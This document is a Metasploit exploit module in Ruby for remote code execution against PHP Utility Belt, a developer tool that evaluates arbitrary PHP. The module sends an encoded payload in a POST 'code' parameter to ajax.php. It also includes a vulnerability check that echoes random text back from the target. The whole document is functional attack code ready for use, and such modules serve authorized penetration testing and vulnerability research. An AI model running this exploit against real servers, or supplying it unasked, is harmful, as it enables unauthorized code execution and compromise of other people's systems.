PHP Utility Belt Remote Code Execution

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit4 < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'PHP Utility Belt Remote Code Execution',  
'Description' => %q{  
This module exploits a remote code execution vulnerability in PHP Utility Belt,  
which is a set of tools for PHP developers and should not be installed in a  
production environment, since this application runs arbitrary PHP code as an  
intended functionality.  
},  
'Author' =>  
[  
'WICS', # initial discovery  
'Jay Turla' # msf  
],  
'References' =>  
[  
['EDB', '38901'],  
['URL', 'https://github.com/mboynes/php-utility-belt'] # Official Repo  
],  
'DisclosureDate' => 'Aug 12 2015',  
'License' => MSF_LICENSE,  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Privileged' => false,  
'Payload' =>  
{  
'Space' => 2000,  
'DisableNops' => true  
},  
'Targets' =>  
[  
['PHP Utility Belt', {}]  
],  
'DefaultTarget' => 0  
))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The path to PHP Utility Belt', '/php-utility-belt/ajax.php'])  
], self.class)  
end  
  
def check  
txt = Rex::Text.rand_text_alpha(8)  
res = http_send_command("echo #{txt};")  
  
if res && res.body.include?(txt)  
Exploit::CheckCode::Vulnerable  
else  
Exploit::CheckCode::Safe  
end  
end  
  
def exploit  
http_send_command(payload.encoded)  
end  
  
def http_send_command(cmd)  
send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path),  
'vars_post' => {  
'code' => cmd  
}  
)  
end  
  
end  
`